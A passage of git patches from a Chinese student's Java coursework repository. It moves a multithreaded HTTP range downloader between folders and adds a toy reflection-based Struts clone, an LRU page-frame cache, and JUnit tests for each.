diff --git a/group23/1323434545/work_Big/02_downloader/src/api/ConnectionException.java b/group23/1323434545/work_Big/02_downloader/src/api/ConnectionException.java
deleted file mode 100644
index 8840863aba..0000000000
--- a/group23/1323434545/work_Big/02_downloader/src/api/ConnectionException.java
+++ /dev/null
@@ -1,6 +0,0 @@
-package api;
-
-@SuppressWarnings("serial")
-public class ConnectionException extends Exception{
-
-}
diff --git a/group23/1323434545/work_Big/02_downloader/src/api/ConnectionManager.java b/group23/1323434545/work_Big/02_downloader/src/api/ConnectionManager.java
deleted file mode 100644
index 4f297a48ef..0000000000
--- a/group23/1323434545/work_Big/02_downloader/src/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
\ No newline at end of file
diff --git a/group23/1323434545/work_Big/02_downloader/src/api/DownloadListener.java b/group23/1323434545/work_Big/02_downloader/src/api/DownloadListener.java
deleted file mode 100644
index e652867321..0000000000
--- a/group23/1323434545/work_Big/02_downloader/src/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group23/1323434545/work_Big/02_downloader/src/impl/ConnectionImpl.java b/group23/1323434545/work_Big/02_downloader/src/impl/ConnectionImpl.java
deleted file mode 100644
index 0764117f5b..0000000000
--- a/group23/1323434545/work_Big/02_downloader/src/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package impl;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.net.HttpURLConnection;
-import java.net.MalformedURLException;
-import java.net.URL;
-
-import api.Connection;
-
-public class ConnectionImpl implements Connection{
-	private HttpURLConnection huConn;
-	
-
-	public ConnectionImpl(String url) {
-		try {
-			huConn = (HttpURLConnection) new URL(url).openConnection();
-		} catch (MalformedURLException e) {
-			e.printStackTrace();
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-	}
-		
-
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-		huConn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
-		ByteArrayOutputStream os = new ByteArrayOutputStream();
-		BufferedInputStream bis = new BufferedInputStream(huConn.getInputStream());
-		int len =0;
-		byte[] bytes = new byte[1024];
-		while((len=bis.read(bytes))!=-1){
-			os.write(bytes, 0, len);
-		}
-		os.flush();
-		return os.toByteArray();
-	}
-
-	@Override
-	public int getContentLength() {
-		return huConn.getContentLength();
-	}
-
-	@Override
-	public void close() {
-		if(null!=huConn){
-			huConn.disconnect();
-		}
-		
-	}
-
-}
\ No newline at end of file
diff --git a/group23/1323434545/work_Big/02_downloader/src/impl/ConnectionManagerImpl.java b/group23/1323434545/work_Big/02_downloader/src/impl/ConnectionManagerImpl.java
deleted file mode 100644
index 96f461422d..0000000000
--- a/group23/1323434545/work_Big/02_downloader/src/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,16 +0,0 @@
-package impl;
-
-
-
-import api.Connection;
-import api.ConnectionException;
-import api.ConnectionManager;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-
-	@Override
-	public Connection open(String url) {
-		return new ConnectionImpl(url);
-	}
-
-}
\ No newline at end of file
diff --git a/group23/1323434545/work_Big/02_downloader/src/main/DownloadThread.java b/group23/1323434545/work_Big/02_downloader/src/main/DownloadThread.java
deleted file mode 100644
index 84b17f6c9d..0000000000
--- a/group23/1323434545/work_Big/02_downloader/src/main/DownloadThread.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package main;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.RandomAccessFile;
-import java.util.concurrent.CyclicBarrier;
-
-import api.Connection;
-
-public class DownloadThread extends Thread{
-
-	Connection conn;
-	int startPos;
-	int endPos;
-	File saveLocation;
-	CyclicBarrier barrier;
-
-	public DownloadThread( Connection conn, int startPos, int endPos,File saveLocation,CyclicBarrier barrier){
-		this.conn = conn;		
-		this.startPos = startPos;
-		this.endPos = endPos;
-		this.saveLocation = saveLocation;
-		this.barrier = barrier;
-	}
-
-	@Override
-	public void run() {
-		RandomAccessFile rf = null;
-		try {
-			rf = new RandomAccessFile(saveLocation,"rw");
-			rf.seek(startPos);
-			rf.write(conn.read(startPos, endPos));
-			barrier.await();
-		}catch (Exception e) {
-			e.printStackTrace();
-		}finally {
-			if(null!=rf){
-				try {
-					rf.close();
-				} catch (IOException e) {
-					e.printStackTrace();
-				}
-			}
-			if(null!=conn){
-				conn.close();
-			}
-			
-		}
-	}
-}
\ No newline at end of file
diff --git a/group23/1323434545/work_Big/02_downloader/src/main/FileDownloader.java b/group23/1323434545/work_Big/02_downloader/src/main/FileDownloader.java
deleted file mode 100644
index 64a0f61741..0000000000
--- a/group23/1323434545/work_Big/02_downloader/src/main/FileDownloader.java
+++ /dev/null
@@ -1,78 +0,0 @@
-package main;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.RandomAccessFile;
-import java.util.concurrent.CyclicBarrier;
-
-import api.Connection;
-import api.ConnectionException;
-import api.ConnectionManager;
-import api.DownloadListener;
-import impl.ConnectionManagerImpl;
-
-public class FileDownloader {
-	
-	String url;
-	File saveLocation;
-	
-	DownloadListener listener;
-	
-	ConnectionManager cm;
-	
-
-	public FileDownloader(String url,File saveLocation) {
-		this.url = url;
-		this.saveLocation = saveLocation;
-	}
-	
-	
-	public void execute() throws ConnectionException{
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-		
-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		
-		cm = new ConnectionManagerImpl();
-		int length = cm.open(this.url).getContentLength();
-		System.out.println("文件长度:"+length);
-		long time = System.currentTimeMillis();
-		CyclicBarrier barrier = new CyclicBarrier(3, new Runnable() {
-			@Override
-			public void run() {
-				listener.notifyFinished();
-				System.out.println("耗时:"+(System.currentTimeMillis()-time)/1000+"秒");
-			}
-		});
-		
-		new DownloadThread(cm.open(this.url),0,length/3-1,saveLocation,barrier).start();
-		new DownloadThread(cm.open(this.url),length/3,length*2/3-1,saveLocation,barrier).start();
-		new DownloadThread(cm.open(this.url),length*2/3,length-1,saveLocation,barrier).start();
-	}
-	
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	
-	
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-	
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-	
-	
-}
\ No newline at end of file
diff --git a/group23/1323434545/work_Big/02_downloader/src/test/DownloaderTest.java b/group23/1323434545/work_Big/02_downloader/src/test/DownloaderTest.java
deleted file mode 100644
index 220c23d57e..0000000000
--- a/group23/1323434545/work_Big/02_downloader/src/test/DownloaderTest.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package test;
-
-import java.io.File;
-
-import api.ConnectionException;
-import api.DownloadListener;
-import main.FileDownloader;
-
-public class DownloaderTest {
-	public static void main(String[] args) throws ConnectionException {
-		FileDownloader fd = new FileDownloader("http://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.13/bin/apache-tomcat-8.5.13.exe",new File("E:\\tomcat.exe"));
-		fd.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				System.out.println("下载完了!");
-			}
-		});
-		fd.execute();
-	}
-
-}

From c2e4670f38038f0c2cbb3dd07caf894087a15cf8 Mon Sep 17 00:00:00 2001
From: "[skycobo]" <[1323434545@qq.com]>
Date: Sun, 9 Apr 2017 20:23:48 +0800
Subject: [PATCH 059/262] =?UTF-8?q?[=E8=8F=A0=E8=90=9DC]:=E5=86=8D?=
 =?UTF-8?q?=E6=AC=A1=E4=BF=AE=E6=94=B9=E7=9B=AE=E5=BD=95!?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../01_litestruts/src/main/LoginAction.java   | 36 +++++++++
 .../01_litestruts/src/main/Struts.java        | 71 ++++++++++++++++++
 .../01_litestruts/src/main/View.java          | 27 +++++++
 .../01_litestruts/src/test/StrutsTest.java    | 55 ++++++++++++++
 .../02_downloader/src/api/Connection.java     | 23 ++++++
 .../src/api/ConnectionException.java          |  6 ++
 .../src/api/ConnectionManager.java            | 10 +++
 .../src/api/DownloadListener.java             |  5 ++
 .../src/impl/ConnectionImpl.java              | 54 ++++++++++++++
 .../src/impl/ConnectionManagerImpl.java       | 15 ++++
 .../src/main/DownloadThread.java              | 50 +++++++++++++
 .../src/main/FileDownloader.java              | 73 +++++++++++++++++++
 .../src/test/DownloaderTest.java              | 21 ++++++
 13 files changed, 446 insertions(+)
 create mode 100644 group23/1323434545/work_Other/01_litestruts/src/main/LoginAction.java
 create mode 100644 group23/1323434545/work_Other/01_litestruts/src/main/Struts.java
 create mode 100644 group23/1323434545/work_Other/01_litestruts/src/main/View.java
 create mode 100644 group23/1323434545/work_Other/01_litestruts/src/test/StrutsTest.java
 create mode 100644 group23/1323434545/work_Other/02_downloader/src/api/Connection.java
 create mode 100644 group23/1323434545/work_Other/02_downloader/src/api/ConnectionException.java
 create mode 100644 group23/1323434545/work_Other/02_downloader/src/api/ConnectionManager.java
 create mode 100644 group23/1323434545/work_Other/02_downloader/src/api/DownloadListener.java
 create mode 100644 group23/1323434545/work_Other/02_downloader/src/impl/ConnectionImpl.java
 create mode 100644 group23/1323434545/work_Other/02_downloader/src/impl/ConnectionManagerImpl.java
 create mode 100644 group23/1323434545/work_Other/02_downloader/src/main/DownloadThread.java
 create mode 100644 group23/1323434545/work_Other/02_downloader/src/main/FileDownloader.java
 create mode 100644 group23/1323434545/work_Other/02_downloader/src/test/DownloaderTest.java

diff --git a/group23/1323434545/work_Other/01_litestruts/src/main/LoginAction.java b/group23/1323434545/work_Other/01_litestruts/src/main/LoginAction.java
new file mode 100644
index 0000000000..4f48122d92
--- /dev/null
+++ b/group23/1323434545/work_Other/01_litestruts/src/main/LoginAction.java
@@ -0,0 +1,36 @@
+package main;
+
+public class LoginAction {
+	private String name;
+	private String password;
+	private String message;
+
+	public String getName() {
+		return name;
+	}
+
+	public String getPassword() {
+		return password;
+	}
+
+	public String execute() {
+		if ("test".equals(name) && "1234".equals(password)) {
+			this.message = "login successful";
+			return "success";
+		}
+		this.message = "login failed,please check your user/pwd";
+		return "fail";
+	}
+
+	public void setName(String name) {
+		this.name = name;
+	}
+
+	public void setPassword(String password) {
+		this.password = password;
+	}
+
+	public String getMessage() {
+		return this.message;
+	}
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/01_litestruts/src/main/Struts.java b/group23/1323434545/work_Other/01_litestruts/src/main/Struts.java
new file mode 100644
index 0000000000..5cd2261413
--- /dev/null
+++ b/group23/1323434545/work_Other/01_litestruts/src/main/Struts.java
@@ -0,0 +1,71 @@
+package main;
+
+import java.io.File;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Method;
+import java.util.Iterator;
+import java.util.Map;
+
+import org.dom4j.Document;
+import org.dom4j.DocumentException;
+import org.dom4j.Element;
+import org.dom4j.io.SAXReader;
+
+public class Struts {
+	/*
+	 * 
+	 * 0. 读取配置文件struts.xml
+	 * 
+	 * 1. 根据actionName找到相对应的class ， 例如LoginAction, 通过反射实例化（创建对象）
+	 * 据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 ("name"="test" ,
+	 * "password"="1234") , 那就应该调用 setName和setPassword方法
+	 * 
+	 * 2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+	 * 
+	 * 3. 通过反射找到对象的所有getter方法（例如 getMessage）, 通过反射来调用， 把值和属性形成一个HashMap , 例如
+	 * {"message": "登录成功"} , 放到View对象的parameters
+	 * 
+	 * 4. 根据struts.xml中的 <result> 配置,以及execute的返回值， 确定哪一个jsp， 放到View对象的jsp字段中。
+	 * 
+	 */
+
+	@SuppressWarnings({ "rawtypes", "unchecked" })
+	public static View runAction(String actionName, Map<String, String> parameters)
+			throws DocumentException, ReflectiveOperationException, SecurityException {
+		View view = null;
+		SAXReader reader = new SAXReader();
+		Document document = reader.read(new File("./xml/struts.xml"));
+		Element root = document.getRootElement();
+		for (Iterator iterator = (Iterator) root.elementIterator("action"); iterator.hasNext();) {
+			Element actionElement = (Element) iterator.next();
+			String actionElementName = actionElement.attributeValue("name");
+			if (actionElementName.equals(actionName)) {
+				Class c = Class.forName(actionElement.attributeValue("class"));
+				Constructor con = c.getConstructor();
+				Object o = con.newInstance();
+				Method setName = c.getMethod("setName", String.class);
+				setName.invoke(o, parameters.get("name"));
+				Method setPassword = c.getMethod("setPassword", String.class);
+				setPassword.invoke(o, parameters.get("password"));
+				Method execute = c.getMethod("execute");
+				String resultStr = execute.invoke(o).toString();
+
+				for (iterator = actionElement.elementIterator("result"); iterator.hasNext();) {
+					Element resultElement = (Element) iterator.next();
+					if (resultElement.attributeValue("name").equals(resultStr)) {
+						view = new View();
+						parameters.put("name", c.getMethod("getName").invoke(o).toString());
+						parameters.put("password", c.getMethod("getPassword").invoke(o).toString());
+						parameters.put("message", c.getMethod("getMessage").invoke(o).toString());
+						view.setJsp(resultElement.getStringValue());
+						view.setParameters(parameters);
+					}
+				}
+			}
+
+		}
+		return view;
+
+	}
+
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/01_litestruts/src/main/View.java b/group23/1323434545/work_Other/01_litestruts/src/main/View.java
new file mode 100644
index 0000000000..93c37fd966
--- /dev/null
+++ b/group23/1323434545/work_Other/01_litestruts/src/main/View.java
@@ -0,0 +1,27 @@
+package main;
+
+import java.util.Map;
+
+@SuppressWarnings("rawtypes")
+public class View {
+	private String jsp;
+	private Map parameters;
+
+	public String getJsp() {
+		return jsp;
+	}
+
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+
+	public Map getParameters() {
+		return parameters;
+	}
+
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/01_litestruts/src/test/StrutsTest.java b/group23/1323434545/work_Other/01_litestruts/src/test/StrutsTest.java
new file mode 100644
index 0000000000..836897b221
--- /dev/null
+++ b/group23/1323434545/work_Other/01_litestruts/src/test/StrutsTest.java
@@ -0,0 +1,55 @@
+package test;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.dom4j.DocumentException;
+import org.junit.Assert;
+import org.junit.Test;
+
+import main.Struts;
+import main.View;
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		String actionName = "login";
+		Map<String, String> params = new HashMap<String, String>();
+		params.put("name", "test");
+		params.put("password", "1234");
+		View view = null;
+		try {
+			view = Struts.runAction(actionName, params);
+		} catch (SecurityException e) {
+			e.printStackTrace();
+		} catch (DocumentException e) {
+			e.printStackTrace();
+		} catch (ReflectiveOperationException e) {
+			e.printStackTrace();
+		}
+		Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+		Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String, String> params = new HashMap<String, String>();
+		params.put("name", "tes");
+		params.put("password", "1234");
+		View view = null;
+		try {
+			view = Struts.runAction(actionName, params);
+		} catch (SecurityException e) {
+			e.printStackTrace();
+		} catch (DocumentException e) {
+			e.printStackTrace();
+		} catch (ReflectiveOperationException e) {
+			e.printStackTrace();
+		}
+		Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+		Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+
+}
diff --git a/group23/1323434545/work_Other/02_downloader/src/api/Connection.java b/group23/1323434545/work_Other/02_downloader/src/api/Connection.java
new file mode 100644
index 0000000000..5b41847037
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/api/Connection.java
@@ -0,0 +1,23 @@
+package api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group23/1323434545/work_Other/02_downloader/src/api/ConnectionException.java b/group23/1323434545/work_Other/02_downloader/src/api/ConnectionException.java
new file mode 100644
index 0000000000..8840863aba
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/api/ConnectionException.java
@@ -0,0 +1,6 @@
+package api;
+
+@SuppressWarnings("serial")
+public class ConnectionException extends Exception{
+
+}
diff --git a/group23/1323434545/work_Other/02_downloader/src/api/ConnectionManager.java b/group23/1323434545/work_Other/02_downloader/src/api/ConnectionManager.java
new file mode 100644
index 0000000000..4f297a48ef
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/02_downloader/src/api/DownloadListener.java b/group23/1323434545/work_Other/02_downloader/src/api/DownloadListener.java
new file mode 100644
index 0000000000..e652867321
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionImpl.java b/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..0764117f5b
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionImpl.java
@@ -0,0 +1,54 @@
+package impl;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.URL;
+
+import api.Connection;
+
+public class ConnectionImpl implements Connection{
+	private HttpURLConnection huConn;
+	
+
+	public ConnectionImpl(String url) {
+		try {
+			huConn = (HttpURLConnection) new URL(url).openConnection();
+		} catch (MalformedURLException e) {
+			e.printStackTrace();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+	}
+		
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		huConn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
+		ByteArrayOutputStream os = new ByteArrayOutputStream();
+		BufferedInputStream bis = new BufferedInputStream(huConn.getInputStream());
+		int len =0;
+		byte[] bytes = new byte[1024];
+		while((len=bis.read(bytes))!=-1){
+			os.write(bytes, 0, len);
+		}
+		os.flush();
+		return os.toByteArray();
+	}
+
+	@Override
+	public int getContentLength() {
+		return huConn.getContentLength();
+	}
+
+	@Override
+	public void close() {
+		if(null!=huConn){
+			huConn.disconnect();
+		}
+		
+	}
+
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionManagerImpl.java b/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..a24b3b800b
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionManagerImpl.java
@@ -0,0 +1,15 @@
+package impl;
+
+
+
+import api.Connection;
+import api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) {
+		return new ConnectionImpl(url);
+	}
+
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/02_downloader/src/main/DownloadThread.java b/group23/1323434545/work_Other/02_downloader/src/main/DownloadThread.java
new file mode 100644
index 0000000000..84b17f6c9d
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/main/DownloadThread.java
@@ -0,0 +1,50 @@
+package main;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.util.concurrent.CyclicBarrier;
+
+import api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+	File saveLocation;
+	CyclicBarrier barrier;
+
+	public DownloadThread( Connection conn, int startPos, int endPos,File saveLocation,CyclicBarrier barrier){
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+		this.saveLocation = saveLocation;
+		this.barrier = barrier;
+	}
+
+	@Override
+	public void run() {
+		RandomAccessFile rf = null;
+		try {
+			rf = new RandomAccessFile(saveLocation,"rw");
+			rf.seek(startPos);
+			rf.write(conn.read(startPos, endPos));
+			barrier.await();
+		}catch (Exception e) {
+			e.printStackTrace();
+		}finally {
+			if(null!=rf){
+				try {
+					rf.close();
+				} catch (IOException e) {
+					e.printStackTrace();
+				}
+			}
+			if(null!=conn){
+				conn.close();
+			}
+			
+		}
+	}
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/02_downloader/src/main/FileDownloader.java b/group23/1323434545/work_Other/02_downloader/src/main/FileDownloader.java
new file mode 100644
index 0000000000..8febebeada
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/main/FileDownloader.java
@@ -0,0 +1,73 @@
+package main;
+
+import java.io.File;
+import java.util.concurrent.CyclicBarrier;
+import api.ConnectionException;
+import api.ConnectionManager;
+import api.DownloadListener;
+import impl.ConnectionManagerImpl;
+
+public class FileDownloader {
+	
+	String url;
+	File saveLocation;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String url,File saveLocation) {
+		this.url = url;
+		this.saveLocation = saveLocation;
+	}
+	
+	
+	public void execute() throws ConnectionException{
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		
+		cm = new ConnectionManagerImpl();
+		int length = cm.open(this.url).getContentLength();
+		System.out.println("文件长度:"+length);
+		long time = System.currentTimeMillis();
+		CyclicBarrier barrier = new CyclicBarrier(3, new Runnable() {
+			@Override
+			public void run() {
+				listener.notifyFinished();
+				System.out.println("耗时:"+(System.currentTimeMillis()-time)/1000+"秒");
+			}
+		});
+		
+		new DownloadThread(cm.open(this.url),0,length/3-1,saveLocation,barrier).start();
+		new DownloadThread(cm.open(this.url),length/3,length*2/3-1,saveLocation,barrier).start();
+		new DownloadThread(cm.open(this.url),length*2/3,length-1,saveLocation,barrier).start();
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+	
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/02_downloader/src/test/DownloaderTest.java b/group23/1323434545/work_Other/02_downloader/src/test/DownloaderTest.java
new file mode 100644
index 0000000000..220c23d57e
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/test/DownloaderTest.java
@@ -0,0 +1,21 @@
+package test;
+
+import java.io.File;
+
+import api.ConnectionException;
+import api.DownloadListener;
+import main.FileDownloader;
+
+public class DownloaderTest {
+	public static void main(String[] args) throws ConnectionException {
+		FileDownloader fd = new FileDownloader("http://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.13/bin/apache-tomcat-8.5.13.exe",new File("E:\\tomcat.exe"));
+		fd.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				System.out.println("下载完了!");
+			}
+		});
+		fd.execute();
+	}
+
+}

From 4f263d1ba44e1ddb823bc5a04fca9dfe61971adc Mon Sep 17 00:00:00 2001
From: "[skycobo]" <[1323434545@qq.com]>
Date: Sun, 9 Apr 2017 20:26:27 +0800
Subject: [PATCH 060/262] =?UTF-8?q?[=E8=8F=A0=E8=90=9DC]:=E6=8F=90?=
 =?UTF-8?q?=E4=BA=A4=E7=AC=AC=E5=9B=9B=E6=AC=A1=E6=95=B0=E6=8D=AE=E7=BB=93?=
 =?UTF-8?q?=E6=9E=84(LRU=E7=AE=97=E6=B3=95)=E4=BD=9C=E4=B8=9A!?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../04_LRU/src/main/LRUPageFrame.java         | 117 ++++++++++++++++++
 .../04_LRU/src/test/LRUPageFrameTest.java     |  35 ++++++
 2 files changed, 152 insertions(+)
 create mode 100644 group23/1323434545/work_DataStructure/04_LRU/src/main/LRUPageFrame.java
 create mode 100644 group23/1323434545/work_DataStructure/04_LRU/src/test/LRUPageFrameTest.java

diff --git a/group23/1323434545/work_DataStructure/04_LRU/src/main/LRUPageFrame.java b/group23/1323434545/work_DataStructure/04_LRU/src/main/LRUPageFrame.java
new file mode 100644
index 0000000000..b9e7bc9c79
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/04_LRU/src/main/LRUPageFrame.java
@@ -0,0 +1,117 @@
+package main;
+
+public class LRUPageFrame {
+
+	private static class Node {
+
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+	private int currentSize;
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	public LRUPageFrame(int capacity) {
+		this.capacity = capacity;
+		this.currentSize = 0;
+	}
+
+	/**
+	 * 获取缓存中的对象
+	 * 
+	 * @param pageNum
+	 */
+	public void access(int pageNum) {
+		if (first == null && last == null) {
+			first = new Node();
+			first.pageNum = pageNum;
+			last = first;
+			currentSize++;
+			return;
+		}
+		Node tagNode = find(pageNum);
+		if (tagNode != null) {
+			moveExistingNodeToHead(tagNode);
+			return;
+		}
+		Node node = new Node();
+		node.pageNum = pageNum;
+		addNewNodeToHead(node);
+
+	}
+
+	private void addNewNodeToHead(Node node) {
+		if (currentSize == capacity) {
+			removeLast();
+		}
+		Node temp = first;
+		temp.prev = node;
+		node.next = temp;
+		first = node;
+		currentSize++;
+	}
+
+	private Node find(int data) {
+		Node node = first;
+		while (node != null) {
+			if (node.pageNum == data) {
+				return node;
+			}
+			node = node.next;
+		}
+		return null;
+	}
+
+	/**
+	 * 删除链表尾部节点，表示删除最小使用的缓存对象
+	 */
+	private void removeLast() {
+		Node temp = last.prev;
+		temp.next = null;
+		last = temp;
+		currentSize--;
+	}
+
+	/**
+	 * 移动到表头，表示这个节点是最新使用过的
+	 */
+	private void moveExistingNodeToHead(Node node) {
+		if (node.prev == null) {
+			return;
+		}
+		Node prev = node.prev;
+		Node next = node.next;
+		if (next == null) {
+			last = prev;
+		}
+		prev.next = next;
+		if (next != null) {
+			next.prev = prev;
+		}
+		Node temp = first;
+		temp.prev = node;
+		node.prev = null;
+		node.next = temp;
+		first = node;
+	}
+
+	public String toString() {
+		StringBuilder sb = new StringBuilder();
+		Node node = first;
+		while (node != null) {
+			sb.append(node.pageNum);
+			node = node.next;
+			if (node != null) {
+				sb.append(",");
+			}
+		}
+		return sb.toString();
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/04_LRU/src/test/LRUPageFrameTest.java b/group23/1323434545/work_DataStructure/04_LRU/src/test/LRUPageFrameTest.java
new file mode 100644
index 0000000000..02d1461149
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/04_LRU/src/test/LRUPageFrameTest.java
@@ -0,0 +1,35 @@
+package test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Test;
+
+import main.LRUPageFrame;
+
+public class LRUPageFrameTest {
+
+	@Test
+	public void testAccess() {
+		LRUPageFrame pf = new LRUPageFrame(3);
+		pf.access(7);
+		pf.access(0);
+		pf.access(1);
+		assertEquals("1,0,7", pf.toString());
+		pf.access(2);
+		assertEquals("2,1,0", pf.toString());
+		pf.access(0);
+		assertEquals("0,2,1", pf.toString());
+		pf.access(0);
+		assertEquals("0,2,1", pf.toString());
+		pf.access(3);
+		assertEquals("3,0,2", pf.toString());
+		pf.access(0);
+		assertEquals("0,3,2", pf.toString());
+		pf.access(4);
+		assertEquals("4,0,3", pf.toString());
+		pf.access(5);
+		assertEquals("5,4,0", pf.toString());
+
+	}
